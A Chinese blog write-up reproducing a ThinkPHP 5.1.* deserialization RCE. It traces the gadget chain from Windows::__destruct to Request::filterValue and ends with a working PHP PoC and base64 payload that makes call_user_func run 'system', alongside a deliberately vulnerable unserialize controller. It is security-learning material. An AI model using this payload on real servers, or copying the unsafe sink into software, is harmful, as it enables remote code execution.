ThinkPHP_5.1.* 反序列化复现

Last updated on November 30, 2023 am

ThinkPHP 5.1.* 反序列化漏洞复现

前期准备

使用命令composer create-project topthink/think tp5.1 "5.1.*"创建一个名为tp5.1的项目,版本为5.1.*

进入tp5.1,使用命令php think run启动

tp5.1/application/index/controller/Index.php创建处理函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace app\index\controller;

class Index
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}

public function demo(){
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize(base64_decode($code));
}
else{
highlight_file(__FILE__);
}
}

}

进入tp5.1/route/route.php创建路由

1
2
Route::get('demo', 'index/demo');

访问http://myhost.local/ThinkPHP/tp5.1/public/demo即可

反序列化链分析

ThinkPHP_5.1的漏洞入口在think\process\pipes\windows__destruct()方法

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

其中$this->close()无法利用,能够利用的是$this->removeFiles()

1
2
3
4
5
6
7
8
9
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

可以看到在removeFiles()里面使用了file_exists()函数,这里会把$filename当做一个字符串来处理,而$this->files又可控,这意味着我们可以使用任何一个实现了__toString()的类,最终选择使用 think\model\concerntrait Conversion,注意这里是trait,无法实例化,需要找一个实现此trait的类才可以实例化,这后面会提到。

先来看__toString()方法

1
2
3
4
public function __toString()
{
return $this->toJson();
}

继续跟进toJson()

1
2
3
4
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

继续跟进toArray()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
public function toArray()
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}

$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}

$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}

return $item;
}

代码很长,但关键部分只在在中后部分处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}

$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}

这里面的利用点在于$relation->visible($name); $relation->visible([$attr]);,因为this->append可控,所以理论上我们可以选择任意一个来作跳板,我这里选择了第二个,即 $relation->visible([$attr]);

如果能进入这条语句,由于this->append可控,那么$relation也就可控,$relation是由语句 $relation = $this->getAttr($key);而来

不管其他,先搓个一个简单POC调试调试,想办法进入这条语句 $relation->visible([$attr]);

还记得之前提及,这个Conversion是个trail类,需要找一个实现此trait的类,我们选择使用think\model\Pivot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

namespace think\process\pipes{
use think\model\Pivot;

class Windows{
private $files = [];
public function __construct(){
$this->files[] = new Pivot();
}
}
}

namespace think\model{
class Pivot{
protected $append = [];
public function __construct(){
$this->append = ['0.']; //需要append非空以进入最开始的大if条件,然后需要元素有一个`.`来满足elseif (strpos($name, '.'))
}
}
}

namespace {

use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));
}

//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6MTp7czo5OiIAKgBhcHBlbmQiO2E6MTp7aTowO3M6MjoiMC4iO319fX0

此时可以顺利进入块

1
2
3
4
5
6
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}

但是会在 $relation = $this->getAttr($key);跟进去查看getAttr(),此时$key=0,即在Pivot->append设置的元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}

// 检测属性获取器
$fieldName = Loader::parseName($name);
$method = 'get' . Loader::parseName($name, 1) . 'Attr';

if (isset($this->withAttr[$fieldName])) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}

$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
} elseif (method_exists($this, $method)) {
if ($notFound && $relation = $this->isRelationAttr($name)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
}

$value = $this->$method($value, $this->data);
} elseif (isset($this->type[$name])) {
// 类型转换
$value = $this->readTransform($value, $this->type[$name]);
} elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) {
if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
'datetime',
'date',
'timestamp',
])) {
$value = $this->formatDateTime($this->dateFormat, $value);
} else {
$value = $this->formatDateTime($this->dateFormat, $value, true);
}
} elseif ($notFound) {
$value = $this->getRelationAttribute($name, $item);
}

return $value;
}

代码也很长,但关键只在最前面的try

1
2
3
4
5
6
7
8
try {
$notFound = false;
$value = $this->getData($name);
}
catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}

跟进getData(),tips:此时的$name=0

1
2
3
4
5
6
7
8
9
10
11
12
13
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
}
elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
}
elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

我们会发现报错的地方就在这里,这里的三个if条件都没有进去,第一个if不进去是因为这里的$name显然不为null,而我们也不能使得$namenull,否在会在更前面报错;

接下来就思考如何进入下面的两个if条件。但这也简单,顾名思义,$this->data需要存在一个键为$name的数组,即$name=>xxxx形式,修改POC,继续尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

namespace think\process\pipes{
use think\model\Pivot;

class Windows{
private $files = [];
public function __construct(){
$this->files[] = new Pivot();
}
}
}

namespace think\model{
class Pivot{
protected $append = [];
protected $data = [];
public function __construct(){
$this->append = ['0.'];
$this->data = ['0' => '123'];
}
}
}

namespace {

use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));
}

发现此时成功进入语句$relation->visible([$attr]);

![](img/截屏2023-10-08 13.27.17.png)

并且$relation的值也知道,就是我们自己设置的123。那么待会就可以把123替换为一个对象,利用语句$relation->visible([$attr]);调用其他类的visible方法,或者调用__call方法。

经过排查后,发现其他类的visible方法都不好利用,于是考虑__call方法,

这里选择think\Request类的__call方法

1
2
3
4
5
6
7
8
9
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}

看到了call_user_func_array函数,但是依然不能高兴太早。

当我们进入此方法时,$methodvisible$argsnull,因为$this->hook可控,所以最开始的if条件容易过,但关键是 array_unshift($args, $this),这条语句会把$this插入args的首位,让args由空数组变为[0] => "think\Request",这就使得call_user_func_array($this->hook[$method], $args)的参数不可控,就没那么容易调用system函数直接RCE了。

但好在$this->hook是可控的,$method是已知的,也就意味着$this->hook[$method]是可控,也就是我们可以调用任何一个函数,只不过参数不可控。

梳理一下目前的成果:

我们以Windows类的__destruct()为入口,利用其中removeFiles()里的file_exists()函数,此函数会把对象当字符串使用,于是利用trait Conversion__toString(),以实现了此trait的think\model\Pivot来实例化对象,并经过调试成功进入此语句call_user_func_array($this->hook[$method], $args);

filterValue

现在我们可以调用任意一个函数,但问题就在于参数不可控,所以我们需要另寻他路。

我们把目光聚焦于该类的filterValue方法,事实上ThinkPHP许多RCE都与此方法有关

此方法代码也很多,但关键只在于前面几句

1
2
3
4
5
6
7
8
9
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
·······

要利用的方法就是这里的$value = call_user_func($filter, $value);是的,虽然之前找到的call_user_func_array很香,但是奈何无法控制参数,只能当做跳板,转寻其他的call_user_func,于是乎就利用filterValue里面的call_user_func

但问题又在于,这里的参数$filter$value仍然不可控,还得继续找,看有没有其他方法使用了此函数

Input

继续寻找到方法input()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}

return $data;
}

代码量中规中矩,这里的关键在于

1
2
3
4
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);

这里会调用之前的filterValue函数,并且$filter是由 $filter = $this->getFilter($filter, $default)得到,看一下函数getFilter()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;
}

简单审计一下就知道这个函数就是返回$this->filter

那么此时$this->filter算是可控了

但是这里还有问题没有解决,就是 array_walk_recursive($data, [$this, 'filterValue'], $filter);这里面的$data仍然不可控,就需要继续找函数,看看有没有哪个方法调用input

param

经过查找,发现$this->param()方法可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

留意最后一句的 $this->input($this->param, $name, $default, $filter);,这里就能控制$this->param参数,进而可以控制input()里的$data参数,

但要留意在这之前还有这么一段

1
2
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

也就是会和get请求的参数合并,不过这里不是什么大事,仍然都是可控的。

然而还有一个问题,就是这里的$name依然是不可控的,依旧是类think\request,这就导致input()函数里面 $name = (string) $name;会报错,也就是说,我们还需要找一个函数来控制$name

isAjax

这里就找到了$this->isAjax()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

可以看到$result = $this->param($this->config['var_ajax']) ? true : $result;,这里我们终于可以控制param()的第一个参数。整个链子也就通畅了。

第一波梳理:

1
我们以`Windows`类的`__destruct()`为入口,利用其中`removeFiles()`里的`file_exists()`函数,此函数会把对象当字符串使用,于是利用`trait Conversion`的`__toString()`,以实现了此trait的`think\model\Pivot`来实例化对象,并经过调试成功进入此语句`call_user_func_array($this->hook[$method], $args);`

第二波梳理:

我们可以调用任意函数,但参数不可控,于是需要寻找其他函数来实现目的。

想利用filterValue()里的call_user_func($filter, $value),但两个参数都不可控,往上寻找函数,看谁调用此函数,并借此控制参数

1
2
3
4
5
6
7
8
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);

找到input()函数,并且$filter可控,但$data不可控,继续往上找函数

1
2
3
4
5
6
7
8
9
public function input($data = [], $name = '', $default = null, $filter = '') {
······
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
·······
}

找到param()函数,

1
2
3
4
5
6
7
8
9
10
11
12
public function param($name = '', $default = null, $filter = '')
{
······
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;

·······

return $this->input($this->param, $name, $default, $filter);
}

看似完美,但是由于此时 $this->input($this->param, $name, $default, $filter);的第二个参数会是[""]型,在input()函数里前半段会因为$name=(string)$name报错,因此还要往上找函数

找到isAjax函数

1
2
3
4
5
6
7
8
9
10
11
12
13
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

十分合适,可以控制$this->config['var_ajax'],从而控制param()的第一个参数$name

至此整条链子分析完毕。

综合

从头复盘一下吧

起点:Window类的__destruct()

​ 跳板file_exists(),利用__toString()

跳点1:trait Conversion

​ 跳板$relation->visible([$attr]);利用__call()

跳点2:think\Request

​ 跳板call_user_func_array($this->hook[$method], $args),利用任意函数执行

跳点3:think\Request的 function isAjax($ajax = false)

​ 跳板$this->param($this->config['var_ajax']) ? true : $result,利用param()$this->config

跳点4:think\Request function param($name = '', $default = null, $filter = '')

​ 跳板$this->input($this->param, $name, $default, $filter),利用input()$this->param

跳点5:think\Requestfunction input($data = [], $name = '', $default = null, $filter = '')

​ 跳板array_walk_recursive($data, [$this, 'filterValue'], $filter);,利用 filterValue

终点:think\Requestfunction filterValue(&$value, $key, $filters)

​ 利用 $value = call_user_func($filter, $value);进行RCE

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

namespace think\process\pipes{
use think\model\Pivot;

class Windows{
private $files = [];
public function __construct(){
$this->files[] = new Pivot();
}
}
}

namespace think\model{
use think\Request;
class Pivot{
protected $append = [];
protected $data = [];
public function __construct(){
$request = new Request();
$this->append = ['0.'];
$this->data = array($request);
}
}
}

namespace think{
class Request{
protected $hook;
protected $filter;
protected $config = ['var_ajax' => ''];

public function __construct()
{
$this->hook['visible'] = [$this,'isAjax'];
$this->filter = 'system';
}
}
}

namespace {

use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));
}

// TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7aTowO3M6MjoiMC4iO31zOjc6IgAqAGRhdGEiO2E6MTp7aTowO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6NztpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19

![](img/截屏2023-10-08 20.32.33.png)

后记

  • 这条链子要比之前的yii2和laravel要长的多,调试起来也耗时很久。但是最终写出来、整理出来的成就感还是很不错的
  • 通过这题也更熟练掌握了IDEA调试方式,对于pop链构造也有更好的认识
  • 链子随长,一步一步复现出来其实也就那么回事儿~

ThinkPHP_5.1.* 反序列化复现
http://example.com/2023/10/08/ThinkPHP/
Author
yring
Posted on
October 8, 2023
Licensed under